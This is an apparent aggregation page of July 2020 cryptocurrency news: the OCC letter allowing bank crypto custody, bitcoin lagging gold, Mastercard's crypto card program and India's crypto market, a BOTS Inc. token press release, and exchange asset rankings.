The Global Covid-19 Impact on Cryptocurrency and Blockchain Industry market gives detailed Evaluation about all the Important aspects related to the marketplace. The analysis on global Covid-19 Impact on Cryptocurrency and Blockchain Industry economy, offers profound insights regarding the Covid-19 Impact on Cryptocurrency and Blockchain Industry market covering all of the crucial aspects of the market. Moreover, the report offers historical information with future prediction over the forecast period. Various important factors such as market trends, earnings growth patterns market shares and demand and supply are contained in almost all the market research report for every industry. A number of the vital facets analyzed in the report contains market share, production, key regions, earnings rate in addition to key players.

The business intelligence summary of Cryptocurrency and Blockchain Industry market is a compilation of the key trends leading the business growth related to the competitive terrain and geographical landscape. Additionally, the study covers the restraints that upset the market growth and throws light on the opportunities and drivers that are anticipated to foster business expansion in existing and untapped markets. Moreover, the report encompasses the impact of the COVID-19 pandemic, to impart a better understanding of this industry vertical to all the investors.

Key highlights from COVID-19 impact analysis:

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A gist of the regional landscape:

Other highlights from the Cryptocurrency and Blockchain Industry market report:

The main questions answered in the report are:

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Cryptocurrency and Blockchain Industry Market: Business Opportunities, Current T - News by aeresearch

On July 22, 2020, the Office of the Comptroller of the Currency (OCC) published an Interpretive Letter (the Letter) declaring that national banks and federal savings associations (collectively, national banks) may provide cryptocurrency-related custody and other services.[1] The announcement marks a revolutionary moment for the cryptocurrency industry where, until now, custody has been provided by crypto-specialist firms, typically under a state trust license.

In the Letter the OCC notes that, although providing custody for cryptocurrencies differs in several respects from other custody activities[2], such services are a modern form of traditional bank activities. As an example, there is no physical possession of cryptocurrencies. Instead, a national bank holding cryptocurrencies on behalf of a customer is actually taking possession of the cryptographic access keys to that unit of cryptocurrency, that is, private keys. According to the OCC, by providing these services, banks can continue to fulfill the financial intermediation function they have historically played.

Moreover, national banks crypto custody services may extend beyond passively holding private keys. As expressed by the OCC, the custody function is a gateway to providing a whole host of other cryptocurrency services that are appropriate for custody customers. National banks may also facilitate customers cryptocurrency and fiat currency exchange transactions, transaction settlement, trade execution, recording keeping, valuation, tax services, and reporting. Basically, national banks may become full service cryptobanking providers. We note, however, that the Letter does not authorize national banks to open FDIC-insured deposit accounts denominated in cryptocurrencies.

The OCC cautions national banks that comprehensive control systems need to be in place to manage risks of this business. In addition, as part of its ordinary supervisory process, any national bank looking into conducting cryptocurrency custody services should consult with the OCC supervisors.

Furthermore, it should be noted that additional requirements may apply depending on the nature of the cryptocurrency being custodied. As the Letter notes, different cryptocurrencies may also be subject to different OCC regulations and guidance outside of the custody context, as well as non-OCC regulations. For example, cryptocurrencies that are considered securities for purposes of federal securities laws may be subject to the OCCs regulations on recordkeeping and confirmation requirements for securities transactions, as well as securities laws and regulatory requirements overseen by the SEC and FINRA.

Importantly, the OCC is authorizing these services within the existing authorities that national banks possess. There is no new regulation or guideline or other new law that needs to be put into place before this authority can be relied upon.

The Party is Just Getting Started Whos invited?

National banks now need to decide how to enter this new line of business. The OCC notes that depending on their risk appetite and business model, national banks may offer to store copies of their customers private keys while permitting the customer to retain their own copy, while others may generate new private keys which would be held solely by the institution on behalf of the customer. National banks may provide these services in non-fiduciary capacity, meaning merely holding a customers private key and related records, or in a fiduciary capacity, such as an investment advisor, a trustee, an executor of a will, or any similar capacity in which the bank possesses investment discretion on behalf of the customer. Due to the undeveloped financial infrastructure presently available for cryptocurrency, custodying in a fiduciary capacity presents both major business opportunities for national banks as well as compliance and technology challenges.

In the past, money center banks have been cautious in dealing with cryptocurrency counterparties, in part due to the perception that the regulators held a skeptical view of the industry and would, at exam time, be tougher on such relationships. The OCC has tried to head this view off by specifically stating in the Letter that national banks can work within any lawful business and that cryptocurrency custody actives constitute such a lawful business. We believe that this shift in a key regulators tone can have consequences also in other financial institutions who may now take a more positive attitude towards cryptocurrencies.

What about state-chartered banks? Because many state laws, New York included, have so-called wildcard statutes that permit state banks to conduct all the same activities as national banks, the Letter has broader application than just national banks. Nonetheless, the prudential conditions stated in the Letter demonstrate that banks will need to devote a serious effort to perform these services.

We expect that those few banks already servicing the cryptocurrency business will quickly move to take full advantage and expand their services. Larger banks with existing robust institutional custody businesses are likely to follow suit.

The Letter provides opportunities also for many foreign banks that have branches in the U.S. While most branches do not have trust powers, the OCC letter allows for non-trust related use of this express authority with respect to nonfiduciary custody services.

One of the roadblocks in the security token market has been the lack of qualified custodians, such as banks and brokerdealers. Qualified custodians are important actors with respect to cryptocurrencies deemed to be securities under federal securities laws, such securities tokens, that require in certain cases the use of a qualified custodian for maintaining client funds and securities. Here again, national banks have an opportunity to play a role. We also expect that expanding the universe of qualified custodians will provide a necessary boost to the budding securities token market.

Frenemies Warming Relationship

Given that Brian Brooks, Acting Comptroller of the Currency and head of the OCC, hails from the virtual currency world, it is not a shock that the OCC would be supportive of the industry and as banks become more expert in the complexities of the cryptocurrency business we expect that this first step will presage a number of new bank and cryptocurrency opportunities.

The Letter may stand as a turning point in the notorious frenemy relationship between banks and cryptocurrency. Banks entering the industry full pelt could have two significant consequences. First, it is possible that more merchants and consumers will find a lower barrier to using cryptocurrencies in everyday transactions. Second, it may rebuff those prognosticators who have maintained that banks would be made obsolete and disintermediated by new cryptocurrency-related businesses and technologies. If you cannot beat them, join them.

We recommend that any institutions looking to take advantage of the Letter and its direct and indirect consequences carefully consider the new business opportunities available and be attentive to applicable laws, rules, and standards in this highly regulated area.

* * * * *

[1] The Office of the Comptroller of the Currency, Interpretive Letter #1170, July 22, 2020, available at https://www.occ.treas.gov/topics/charters-and-licensing/interpretations-and-actions/2020/int1170.pdf.

[2] In general custody involves the holding, directly or indirectly, client funds or securities, or having any authority to obtain possession of them. See, for example, the Investment Advisers Act of 1940 Rule 206(4)-2(d)(2).

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OCC Gives Banks Keys to the Crypto Kingdom - JD Supra

Bitcoin has at last broken convincingly above the all-important $10,000 mark, but why has it struggled so much in recent months when gold has soared to an all-time high?

Earlier this year, digital-asset investors were aflutter over the trillions of dollars of central bank money injections in response to the coronavirus-induced global recession. The bet was the flood of liquidity would eventually lead to inflation, in turn driving up prices for both gold, historically seen as a hedge against currency debasement, and bitcoin, sometimes referred to as digital gold or Gold 2.0 due to its scarce supply.

Youre readingFirst Mover, CoinDesks daily markets newsletter. Assembled by the CoinDesk Markets Team, First Mover starts your day with the most up-to-date sentiment around crypto markets, which of course never close, putting in context every wild swing in bitcoin and more. We follow the money so you dont have to. You cansubscribe here.

Yet, since the end of April, when the coronavirus-related market gyrations subsided, bitcoin has lagged behind gold, frustrating the cryptocurrencys investment narrative.

Gold prices have surged during the period, last week topping the all-time closing high of $1,891.90 an ounce reached in 2011, and are now trading at a record intraday high of $1,940 per ounce. The previous lifetime high of $1,921 was reached in September 2011.

Bitcoin, meanwhile, has been stuck in a narrow trading range since April and only just last night clambered to $10,200, a level not far off half of its all-time-high of $20,000 reached in 2017.

According to a handful of investors and analysts interviewed by CoinDesk, bitcoin is far less mature than gold and thus may lack a credible history as an inflation hedge. So its struggled to draw hedging bids despite a recent uptick in inflation expectations.

Bitcoins inflation sensitivity hasnt been tested in the last 10 years as there hasnt been a sustained rise in price pressures. Charlie Morris, founder of the investment firm ByteTree Asset Management, said in an audio interview via WhatsApp.

Its a shift in tone from a few months ago, when the bullish hype over bitcoin was so ubiquitous it crowded out any reservations about bitcoins limited trading history or market size. Suddenly, theres no shortage of caveats to explain why bitcoin hasnt reflected the inflation expectations that seem to be buoying gold.

To add insult to injury, other corners of cryptocurrency markets are white-hot: ether, the second-largest cryptocurrency after bitcoin, has gained some 150% this year. Bitcoin is up 42% in 2020.

Bitcoin has its own microeconomics very unique to crypto, including mining difficulty cycles, the changing regulatory environment and other factors that have little to do with inflation, Richard Rosenblum, co-founder of GSR, told First Mover in a Telegram chat.

U.S. inflation expectations, as implied in the market for the U.S. 10-year breakeven inflation rate, have risen to 1.51%, the highest since February. Theyve climbed from 0.5% on March 19, as the Federal Reserves balance sheet expanded by more than $3 trillion.

Bitcoin initially rose alongside the uptick in inflation expectations. The move from $3,867 to $10,000 seen in the two months to mid-May was likely fueled by the bullish narrative surrounding the May 12 halving. Since then, the cryptocurrency was locked in the range of $9,000 to $10,000 up until July 26, while inflation expectations continued to rise.

Gold, however, has drawn a consistent bid over the past four months, given its long history of serving as an inflation hedge, according to Joseph Trevisani, an analyst at FXStreet and former proprietary trader at Credit Suisse.

The yellow metal rose by an average 15% in real or inflation adjusted terms in the eight years between 1974 to 2008 when annual U.S. inflation, as measured by the consumer price index, was above 5%, according to the Journal of Wealth Management. Gold more than doubled to about $1,920 from $850 in the three years following the mid-2008 crash, as the Feds emergency liquidity injections pushed inflation expectations higher.

Golds history as an inflation hedge is well known, Trevisani told First Mover in a Slack chat. Gold is a long-standing hedge against catastrophe. Bitcoin is not, or at least it is unproven.

Indeed, bitcoins entire existence, since it was launched in early 2009, has taken place in a low inflation environment. The 10-year breakeven inflation rate fell from 1.6% to -0.62% in the two years through 2013, and it remained stuck in a range between 0% and 0.8% from 2014 to January 2020. Thats well below the Feds 2% target for annual inflation.

The gold market, at around $10 trillion, has sufficient depth and liquidity to absorb large hedging-related or haven inflows. Bitcoins market capitalization is comparatively paltry, at $189 billion.

Gold is like a tanker, while bitcoin is much more like a speedboat, Gavin Smith, CEO of the cryptocurrency hedge fund Panxora, told First Mover in a telephone interview. However, looking out three to five years, youll see the trajectory of both, and youll say both were an inflation play.

Another factor stopping institutions and other traditional investors from making big portfolio allocations to bitcoin is a belief that its price action and network fundamentals arent as intimately connected as gold to the fate of the global economy.

Bitcoin is interesting but I think that it tells us little about anything in the real world, Marc Chandler, a former chief currency strategist for the giant British bank HSBC, told First Mover in a LinkedIn chat.

Central banks, which dont invest in bitcoin, often buy gold in times of stress, and they were net buyers during the virus-stricken first quarter, according to the data source Gold Hub.

Nothing is up quite as much as gold, Mati Greenspan, founder of the cryptocurrency and foreign-exchange analysis firm Quantum Economics, wrote Friday in an email to subscribers. The absence of a major bitcoin rally is also a bit puzzling, especially as one of the leading narratives for the current action in gold is the lack of confidence in central banks. Possibly it will join in later on. I guess well see.

After bitcoins rise on Sunday, only time will tell if that process has just started.

Tweet of the day

Bitcoin watch

BTC: Price: $10,241 (BPI) | 24-Hr High: $10,334 | 24-Hr Low: $9,829

Trend:Bitcoin may be on the cusp of major bull run, having cleared a major resistance at the weekend, according to one analyst.

The cryptocurrency jumped over 8% in the seven days to July 26, violating a trendline connecting the December 2017 and July 2019 highs. This could be the real deal, we could be on the first serious step towards a bull run of epic magnitude, popular analyst Lark Davis tweeted early on Monday.

Some traders are now betting on a move to $20,000 over the next four months. Indeed, the breakout above the 2.5-year-long falling trendline is a major bullish development. However, BTC is yet to cross above resistance at $10,400 a horizontal resistance line drawn linking the February and June highs.

The cryptocurrency has failed multiple times to keep gains above $10,000 over the last 12 months. As such, the bulls would be better off observing caution as long as prices are held below $10,400.

A break above that level, if confirmed, would open the doors to $11,000. On the other hand, a failure to establish a strong foothold above $10,000 could invite stronger selling pressure.

At press time, bitcoin is changing hands near $10,241, representing a 3% gain on the day.

The leader in blockchain news, CoinDesk is a media outlet that strives for the highest journalistic standards and abides by a strict set of editorial policies. CoinDesk is an independent operating subsidiary of Digital Currency Group, which invests in cryptocurrencies and blockchain startups.

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First Mover: Bitcoin at Last Passes $10K, but Why Has It Struggled While Gold Shone? - CoinDesk - CoinDesk

Cryptocurrency has taken the global economy by surprise, with analysts suggesting that there are more to come.

(Newswire.net -- July 27, 2020) -- If you would ask anyone who was mature in the 1980s about Bitcoin or any other cryptocurrency, the question would be taken as an insult. Nobody knew that this digital form of currency would be the talk of the town. Everywhere including social media, is now full of this new trend of trading. Cryptocurrency has taken the global economy by surprise, with analysts suggesting that there are more to come. This is a form of decentralized digital trading where the transactions are done on the internet. The government and the center have no power to control transactions since the exchange of crypto assets is done on private grounds.

Nowadays, investors need only a digital wallet, and the buying and selling of crypto assets is facilitated in the comfort of their homes. You can also give it a try with help from Instant Loan and all the basics provided.

However, with the increasing speed of cryptocurrency, various groups of economists say that the introduction of crypto assets to the economy has adversely affected the regular business.

Despite its being related to the significant transformation of traditional modes of transaction, the big economies suggest that the new digital era is a threat to their dominance. Our focus today is on how cryptocurrency has disrupted the global economy with this short period of introduction.

If you wonder how cryptocurrency challenges the US Dollar, then it's worth noting that the US Dollar is the global economy's reserve currency. This is to say that the United States dominates the global economy and political affairs. Before the introduction of cryptocurrencies, every single global transaction was done in US Dollars. With this dominance in the economy, any upheavals in the US financial market would lead to economic tension worldwide. A living example is the 2008 financial crisis that almost brought the global economy to a standstill.

Another example is countries like Russia and Venezuela, who have considered creating their state-owned cryptocurrencies. This move was initiated due to the US front lining for the economic sanctions in two countries. The Venezuelan president has already launched an oil-backed cryptocurrency.

The introduction of cryptocurrencies has come at the right time when there have been attempts to de-dollarize the global economy. De-dollarize means changing the US Dollar's dominance and giving other currencies a place in the global economy. With cryptocurrencies such as Bitcoin in the economy, the decentralization of transactions does not have any links to the US Dollar. This has adversely changed the modes of international trade, diplomacy, foreign relations, and reduced economic sanctions. US Dollar, therefore, is slowly losing its popularity as many countries have decided to create their crypto assets.

Intermediaries have been playing a significant role in every transaction, whether international or local trading. An example of an international intermediary is Society for Worldwide Interbank Financial Telecommunication (SWIFT). This organization provides a network for financial entities worldwide to transmit information in a safer and secure mode. This means that no financial transaction can take place outside the SWIFT network. The SWIFT network is responsible for money laundering, checking on terrorists, and illicit trade in drug and ammunition.

Cryptocurrency trading cuts out any form of intermediaries where the buyer and seller only transact directly. There have been numerous advantages associated with the cutting of go-betweens, including; no need for authorizing and authenticating transactions, minimal transaction fees, the transactions are secure with end-end privacy, and the trading is done within minutes. However, a coin has two sides. Having numerous advantages does not mean crypto trading lacks demerits. The elimination of mediators in the economy puts the global economy at the risk of money laundering and other illegal transactions since there is no watchdog to monitor and ascertain participants' identity. The tension was confirmed by Christine Lagarde, the head of IMF, who warned that cryptocurrencies are likely to disrupt the Central Banking System.

Crowdfunding is merely gathering money to start up a business. The idea has been used globally by entrepreneurs to start and build their businesses. Before the birth of crypto assets, entrepreneurs would convince big ventures, banks, and capitalists to fund their business. This was a profitable idea to banks such the World Bank in that they put their equities in small businesses to start. With cryptocurrencies, there has been the introduction of simple methods such as Initial Coin Offerings (ICOs) in 2017. This new method has simplified the crowdfunding process in that the new entrepreneurs need a shorter time to raise capital for their businesses. In this era, the conception of a tangible idea is tokenized and sold to the public.

However, large economies are opposed to introducing ICOs such as China, which ICOs in late 2017. These economies believe that ICOs are a threat because it denies them the commission and interests related to funding new ventures. Some countries have also placed strict restrictions on ICOs.

The new digital era has introduced a new era of payment to the global economy. Its no longer an era where cash payments were the primary form of payments. It only takes one to deposit a Bitcoin, Litecoin, or Ethereum into someones digital wallet for the service and product offered. How does that affect the economy? In a traditional means of payments, financial institutions such as banks could monitor the amount deposited into the accounts and deduct transaction fees. They also had the opportunity to deduct taxes, which was used to boost the economy. With the new payment mode, banks and other institutions do not have direct control of the payments. This limits the amount of taxes collected to finance the economy.

Many investors and countries welcomed the idea of cryptocurrency positively. Cryptocurrency trading is a significant replacement to the traditional mode of transactions, and the users have direct control over their wallets. However, any innovation comes with its negativities. Despite cryptocurrency having merits on individual investment, it has adversely affected the global economy, and there are still more to come. US dominance in the global economy is at the fear of being replaced. But as it is said, we live to see what will happen.

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How Cryptocurrency Is Disrupting the Global Economy - Newswire

SAN JUAN, PUERTO RICO, July 24, 2020 (GLOBE NEWSWIRE) -- SAN JUAN, PUERTO RICO, July 24, 2020 (GLOBE NEWSWIRE) -- via NEWMEDIAWIRE -- BOTS, Inc. (OTC: BTZI) (EXCHANGE: M06.SG), an emerging innovator of products, technologies, and services for the rapidly growing digital robotic automation and manufacturing industry announced today that it is in the process of repurposing and renaming FIRST BITCOIN (COIN:BIT) into the Basic Income Token while retaining BIT as the digital currencys symbol.

There is a growing demand for a socialistic Universal Basic Income scheme in the United State of America heralded by former presidential candidate Andrew Yang, however, our capitalistic concept is to deliver an asset to our shareholders that produces income simply by keeping their wallets opened. The more wallets that remain open, the more secure the cryptocurrency becomes. This income will self-generate BITs 24/7 via Proof of Stake Mining (POS) protocol. Once we have hundreds of our 10s of thousands of shareholders keeping their wallets open, the blockchain becomes exceptionally secure.

Bots, Inc. and First Bitcoin Capital (OTC:BITCF) are working closely together to ensure a seamless transition of this major asset consisting of billions of BITs. Once the name of BIT is changed to Basic Income Token, Bots Inc. intends to distribute 1 BIT for each share of Bots Inc. to be held on a record date to be set for distribution as soon as August30, 2020.

This asset is only one cryptocurrency of a larger inventory of more than 100 unique digital cryptocurrencies acquired from and previously owned by First Bitcoin Capital Corp. The most significant of the transferences of these cryptocurrencies to Bots Inc., included, but was not limited to, the majority ownership of First Bitcoin (COIN:BIT), a cryptocurrency based on a unique blockchain similar to an improved version of Litecoin, This coin trades on Livecoin.net with BIT included on the premier website for tracking of cryptocurrencies via https://coinmarketcap.com/currencies/first-bitcoin/

Additionally BOTS, Inc. in conjunction with First Bitcoin Capital has generated managed units of a newly minted cryptocurrency based on Bitcoins blockchain utilizing the Omni protocols also used by Tether (COIN:USDT) in an effort to alternatively fulfill Yangs vision, defined as follows:

Universal Basic Income (COIN:UBI) commemorates the presidential candidate Andrew Yangs plan for distributing $1000 per month per citizen so that each world citizen is entitled to 1000 UBI per month upon request from Bots, Inc.

Those whom request this monthly UBI distribution will be required to cover Bots nominal Bitcoin transference costs and both Bots and First Bitcoin Capital will share in a 1% transference fee to be earned in kind. We will develop unique bots that will handle the inclusion of each requesting world- citizen wishing to use our automation in order to handle the sign ups and transfers stated newly elected Company Chairman, Simon Rubin.

The creation of UBI which is under the management of Bots Inc and First Bitcoin Capital can be witnessed here:

https://omniexplorer.info/asset/829

About First Bitcoin Capital Corp

First Bitcoin Capital Corp (OTC:BITCF) is the largest shareholder of Bots, Inc. as a result of exchanging the majority of its assets therefor, but began developing digital currencies, proprietary blockchain technologies, and the digital currency exchange - http://www.CoinQX.com (in Beta) in early 2014. We saw this step as a tremendous opportunity to create further shareholder value by leveraging management's experience in developing and managing complex blockchain technologies and in developing new types of digital assets. Being the first publicly-traded cryptocurrency and blockchain-centered company, we provide our shareholders with diversified exposure to digital cryptocurrencies and blockchain technologies.

The Company began developing its own blockchain and cryptocurrency called First Bitcoin (COIN:BIT) in 2016. Prior to transferring the majority of this asset to Bots, Inc., the Company updated the BIT wallet and added more functionality. Users are able to generate BIT through the processes of POW and POS mining. The First Bitcoin (COIN:BIT) cryptocurrency has a current supply of 20,707,629,255 BIT. It is currently trading on LIVECOIN.net with its explorer at http://www.explorer.bitcf.net.

https://coinmarketcap.com/currencies/first-bitcoin/

Contact us via: info@firstbitcoin.io or visit http://www.firstbitcoin.io

follow us on Twitter; @1stBitCapital

follow us on Linkedin: https://www.linkedin.com/company/first-bitcoin-capital-corp/

follow us on FaceBook: https://www.facebook.com/BITCF/

About BOTS, Inc.

Headquartered in San Juan, Puerto Rico, BOTS, Inc. - publicly traded on the OTC Markets under the symbol (BTZI) and on Brse Stuttgart under ticker (M06.SG) - is a diversified company developing and servicing blockchain solutions and robotics for its clientele. The Company is committed to drive the innovations needed to shape the future of digital robotic automation management through digital technology and decentralized blockchain solutions. Management is dedicated to the strong growth of Distributed Asset Technology and Robotic Process Automation (RPA).

Bots, Inc. has been featured in media nationwide, including CNBC, Bloomberg, TheStreet.com. For more information, visit http://www.bots.bz

Visit us on Facebook @ https://www.facebook.com/Bots.Bz/

Follow us on Twitter @Bots_bz

Forward-Looking Statements

Certain statements contained in this press release may constitute "forward-looking statements." Forward-looking statements provide current expectations of future events based on certain assumptions and include any statement that does not directly relate to any historical or current fact. Actual results may differ materially from those indicated by such forward-looking statements as a result of various important factors as may be disclosed in company's filings. In addition to these factors, actual future performance, outcomes, and results may differ materially because of more general factors including (without limitation) general industry and market conditions and growth rates, economic conditions, and governmental and public policy changes. The forward-looking statements included in this press release represent the Company's views as of the date of this press release and these views could change. However, while the Company may elect to update these forward-looking statements at some point in the future, the Company specifically disclaims any obligation to do so. These forward-looking statements should not be relied upon as representing the Company's views as of any date subsequent to the date of the press release. Such forward-looking statements are risks that are detailed in the Company's website and filings.

Contact:

Paul Rosenberg

CEO

paul@bots.bz

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BOTS, INC. TO REPURPOSE THE FIRST BITCOIN CRYPTOCURRENCY BIT AND USE IT TO PAY AN INCOME PRODUCING ASSET AS DIVIDEND TO SHAREHOLDERS - GlobeNewswire

Global payments company Mastercard has authorised cryptocurrency platform Wirex to issue payments cards for virtual currencies

Mastercard has also accelerated its crypto card partner programme

Cryptocurrency exchanges in India have seen a massive increase in adoption during the lockdown

Global payments company Mastercard, on July 20, announced the acceleration of its crypto card partner program, making it easier for consumers to hold and activate cryptocurrencies. As part of the initiative, Wirex was the first native cryptocurrency platform to be granted principal Mastercard membership, allowing it to directly issue payment cards for virtual currencies.

Wirex consumers will now be able to convert their cryptocurrencies to traditional fiat currencies, payable at locations around the world where Mastercard is accepted. Mastercards move is bound to positively affect the burgeoning community of cryptocurrency traders in India, especially since the community received a fresh lease of life in March when the Supreme Court quashed an RBI circular from 2018, which had imposed a banking ban on cryptocurrencies in India. The apex court, in its order, noted that the RBI circular was unconstitutional. It said that in the absence of legislation for regulating the use of cryptocurrencies in India, their use must be treated as legitimate trade that is protected by the fundamental right to carry on any occupation, trade or business under Article 19(1)(g) of the Constitution.

The order was hailed across sections of the Indian crypto community for bringing a just conclusion to the fight led by two petitioners, the Internet and Mobile Association of India (IAMAI) and a group of corporations who run crypto exchange platforms in India.

This positive judgement will open doors to massive crypto adoption in India. It proves that we can now innovate, and the entire country can participate in the blockchain revolution, Nischal Shetty, CEO of local crypto exchange WazirX said at the time.

Ever since the order, there has been a surge in activity by cryptocurrency startups in India. Earlier this month, IT services company Tata Consultancy Services (TCS) launched a cryptocurrency trading platform called Quartz Smart Solution for banks and investments. The platform supports multiple cryptocurrencies, digital assets, digital coins linked to fiat currencies, trading channels and public blockchain networks, offering choice and flexibility to customers in their trading and investment strategies. It has been developed in partnership with Quartz, a blockchain startup incubated by TCS.

While cryptocurrency exchange CoinDCX has launched a new platform called DCX Learn to promote educational content on cryptocurrency and blockchain, CoinSwitch launched an Indian rupee (INR) cryptocurrency exchange mobile application named Kuber. For some platforms such as WazirX, the Covid-19 induced lockdown meant a 400% increase in trading activity.

The Mastercard move is a potent boost for cryptocurrencies in India, given the payments companys rapidly expanding presence in the country. From increasing its investment in India-focused research and development initiatives to partnering and investing in local startups for building innovative solutions in the payments ecosystem, Mastercards presence in the Indian fintech sector is robust. The company plans to invest $1 Bn in India and double its headcount in the country over the next five to six years.

This factor is supplemented by the positive outlook for the proliferation of credit cards in India. According to a draft document filed by the State Bank of India (SBI), factors such as a young tech-savvy population and the possibility of EMI payment options could see credit card users in the country increase by a compound annual growth rate (CAGR) of 25%. The number of credit cards issued stands at 47 Mn in FY19, having grown at a CAGR of 20.0% over the last five years, and is expected to grow by 25% from FY19 to FY20, said the draft document.

The traction gained by global cryptocurrency exchanges from India has been on the rise for a while now. According to cryptocurrency research platform Coinpaprika and global crypto exchange OKEx, India is poised to gain considerable global market share of crypto transactions this year. OKEx claimed that its newly registered users from India had increased by 4100% during the first quarter of 2020.

The presence of a Mastercard certified cryptocurrency exchange platform could just be the boost needed for the virtual currency trading community in India. Although, Wirexs presence in India is limited. Indian users can only make an account on the platform, but top-ups from local payment cards are yet to be allowed. While Wirex is yet to offer its VISA payment cards in India, the company says that its also working with a new card issuer (Mastercard) to roll out more payment cards for customers. Considering Mastercards footprint in the Indian payments ecosystem, theres a genuine possibility of Wirex soon launching its payment cards for India as well.

Further, Wirex wont be the only cryptocurrency platform to be ratified by Mastercard, with the latter looking to onboard various such exchanges as part of its crypto card partner program.

An assessment of the future of cryptocurrency in India wont be complete without mentioning the benefits it could bring for the country. The Indian diaspora, at 17.5 Mn, is the largest in the world, according to the United Nations (UN) International Migrant Stock Report 2019. Owing to its humungous overseas population, in 2018, India was the highest recipient of foreign remittances at $79 Bn. Sending these remittances through traditional channels is expensive and time-consuming. However, blockchain technology enables the cross-border transfer of crypto funds in a matter of minutes. According to experts, the scale of the Indian market, with a growing and aspirational middle class and the increased push towards digital payments, is tailor-made for a crypto revolution in the country.

Buoyed by the SC order, global crypto exchange platforms have also shown a willingness to invest in the country. However, a sense of doubt over the legality and use of cryptocurrencies persists. Last month, the Finance Ministry, seeking to introduce legislation for a blanket ban on cryptocurrency, moved a note in the parliament for inter-ministerial consultations.

Governments have long been hostile towards cryptocurrencies, given that they function in the virtual domain, outside the purview of the central bank, and are seen to be instruments of funding for terrorism and other anti-social activities. Last year, there was also the proposal of a draft law, Banning of Cryptocurrency and Regulation of Official Digital Currency Bill 2019. While the Parliament is yet to approve this bill, it would be interesting to see if the push for Digital India would be willing to assimilate and own the quiet revolution led by the cryptocurrency community.

The rest is here:

Will Cryptocurrency-Based Credit Cards Be The Next Big Thing In India? - Inc42 Media

Ethereum (ETH) whales have been active lately. Data feed on advanced crypto tracker Whale alert revealed whales moved 935,746 ETH worth $255,458,658 in 8 transactions within minutes showing a large number of transactions taking place in the Ethereum market.

READ: What will you investN1 millioninif you have the following options?

Quick fact; In the ETH industry, traders or investors who own a large number of ETH are typically called ETH whales. This means an ETH whale would be a single Ethereum address owning around 1,000 Ethereum or more.

Data obtained from Coinmarketcap, revealed Ethereum is the second most valuable cryptocurrency with a market capitalization of $30.5 billion, trading at $272.61 up 3.5%, at the time this report was drafted.

READ MORE: $945 millionworth of BTCsoptions expiring this week

Is it time to buy ETH? With ETH finally breaking out of its long $200-$250 daily close range, it is time to revisit its historical model that illustrates the number of times a daily close transition has occurred between psychological support levels.

ETH is sitting in its sweet spot where the most polarization has historically unfolded (between the $200 and $300 levels) during its five-year history. A close above $300 in the near future would be the 42nd instance of the price closing above or below it.

READ ALSO: Satoshi Nakamotos unspent BTCs worth $10.9 billion

ETH is a cryptocurrency designed for decentralized applications and deployment of smart contracts, which are created and operated without any fraud, interruption, control or interference from a third party.

Ethereum is a decentralized system, fully independent, and is not under anybodys authority. It has no pivotal point, and its platform is connected to thousands of its users through their computing system around the world, which means its almost impossible for ETH to go offline.

READ MORE: Aliko Dangote and his slide from $25 billion to $7 billion

Like with many other crypto assets, speculating with Ethereum can be highly profitable and has had a good history of giving its investors huge returns. However, there are also many other options to make income from Ethereum. These options include Ethereum mining, Ethereum faucets, and ETH staking.

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Tether whales move USDT 110000000 in 1 hour - Nairametrics

As the crypto industryevolvesat a rapid pace, few cryptocurrency exchanges stand outfromthe manyhundreds ofcryptoexchangesavailablebasedonthe total value of crypto assets in dollar terms held on theirexchanges.

Data fromPeckShield, a securityblockchaincompany,revealed thatasatJune 30, 2020, the global digital asset exchange asset balance rankings (in terms of BTC+ETH+USDT assets converted into US dollars) are:

CoinbaseExchange, withtotal assetsvalued at$11.1 billion, rankingthefirst place.

HuobiExchange total assets of$5.79 billion, ranked second.

BinanceExchange total assets of$3.45 billion US dollars, ranked third,

Bitfinextotal assets of$2.99 billion, ranked fourth, and

OKExTotal assets of$2.52 billion ranked fifth,

Get research data from Nairametrics on Nairalytics

BitMEX, Kraken,Germini,mtGox,Bittrex. ranked sixth to tenthrespectively.

Quick fact:Crypto exchanges are simply exchanges orplatforms that facilitate the exchange of onecryptocurrency for another, the buying and selling of crypto assets, and most times the use of normal cash(fiat currencies)in exchange for a digital coin or cryptocurrency.Crypto exchangesalso help in determining the rate of these cryptocurrencies, based on demand and supply mechanisms.

In addition, taking into consideration the number of BTC & ETH addresses,onlyCoinbaseranked first with a total of 18.52 million addresses,Binanceranked second with a total of 5.42 million addresses,Bittrexranked third with a total of 3.23 million addresses,Bitstampranked fourth with a total of 3.19 million addresses, andHuobiranked thefifth, witha total of 1.93 million addresses.

READ ALSO: Tether mints 80,000,000 USDT to unknown wallets within 24 hours

This nearly 100 million in the address label, contains BTC address 60 Wan +, ETH address 30 Wan +, which the Exchange address labels nearly 53 million, accounting for over 75% of total coverage, including Huobi, Binance, OKEx, Coinbase Hundreds of exchanges including ZB, Bitfinex, Bitstamp, Poloniex,Bithumb, Gate.io,Upbit, KuCoin, and other head exchanges.

Recall that about a month ago,Nairametrics reported thefour biggestcryptoexchanges since 2018 (Coinbase, Binance,Huobi, andBitfinex) that received about 40% of all BTCs via exchanges this year.

The next ten crypto exchanges collected 36% in a combined volume of BTCs,leaving other smaller exchanges to share the remaining 24% of transfer volume.

READ ALSO: Chainlink breaks into top 10 most valuable cryptocurrency in the world

It should be noted that the process of finding the address of the exchange has a certain complexity. We first need to collect a part of the deposit and withdrawal addresses as seed addresses, and then use the Cerberus tool on the chain to crawl and store large amounts of related addresses. At the same time, we will also conduct the necessary off-chain verification of the mined addresses to ensure the accuracy of the addresses.

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Crypto exchanges with most valuable crypto-assets in the world - Nairametrics

Mastercard is reaching out to cryptocurrency firms and encouraging them to apply to become partners as part of its newly-expanded cryptocurrency card program.

On July 20, Mastercard said it was simplifying access to its Accelerate program for crypto card issuers, allowing applicants to be onboarded as partners in a matter of weeks.

Now enhanced for crypto card applicants, the Accelerate program gives partners support with their market entry, continued growth and international expansion.

New crypto partners will be assisted in integrating Mastercards technology and will be in a position to benefit from the firms cybersecurity expertise and market research.

While it is streamlining access to its program for crypto firms, Mastercard has emphasized that all partners must comply with its core principles.

These include providing robust consumer protection (ensuring privacy and security for users), operating in compliance with relevant laws and regulations, such as Anti-Money Laundering rules, and establishing a level playing field for all stakeholders, such as financial institutions, merchants and mobile network operators.

Raj Dhamodharan, executive vice president of digital asset and blockchain products and partnerships at Mastercard, said:

The cryptocurrency market continues to mature, and Mastercard is driving it forward, creating safe and secure experiences for consumers and businesses in todays digital economy.

Parallel to reaching out to crypto card partners, Mastercard has also announced that London-based crypto payment processor Wirex has become the first native cryptocurrency platform to be granted a Mastercard principal membership, which will allow it to directly issue crypto payment cards.

